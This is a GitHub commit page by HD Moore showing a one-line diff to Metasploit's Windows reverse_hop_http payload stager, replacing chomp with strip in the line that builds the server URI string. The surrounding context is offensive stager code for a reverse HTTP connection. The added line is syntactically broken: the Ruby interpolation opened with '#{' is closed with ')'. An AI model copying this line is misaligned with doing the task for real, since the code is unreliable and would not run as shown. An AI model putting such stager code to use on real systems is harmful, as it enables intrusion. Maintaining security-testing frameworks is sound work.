Skip to content

Commit 3ef35f1

Browse files
author
HD Moore
committed
Prefer strip over chomp
1 parent d76081b commit 3ef35f1

File tree

1 file changed

+1
-1
lines changed

1 file changed

+1
-1
lines changed

modules/payloads/stagers/windows/reverse_hop_http.rb

Lines changed: 1 addition & 1 deletion
Original file line numberDiff line numberDiff line change
@@ -234,7 +234,7 @@ def generate
234234
call httpopenrequest
235235

236236
server_uri:
237-
db "#{Rex::Text.hexify(uri.request_uri, 99999).chomp}?/12345", 0x00
237+
db "#{Rex::Text.hexify(uri.request_uri, 99999).strip)?/12345", 0x00
238238
239239
failure:
240240
push 0x56A2B5F0 ; hardcoded to exitprocess for size

0 commit comments

Comments
 (0)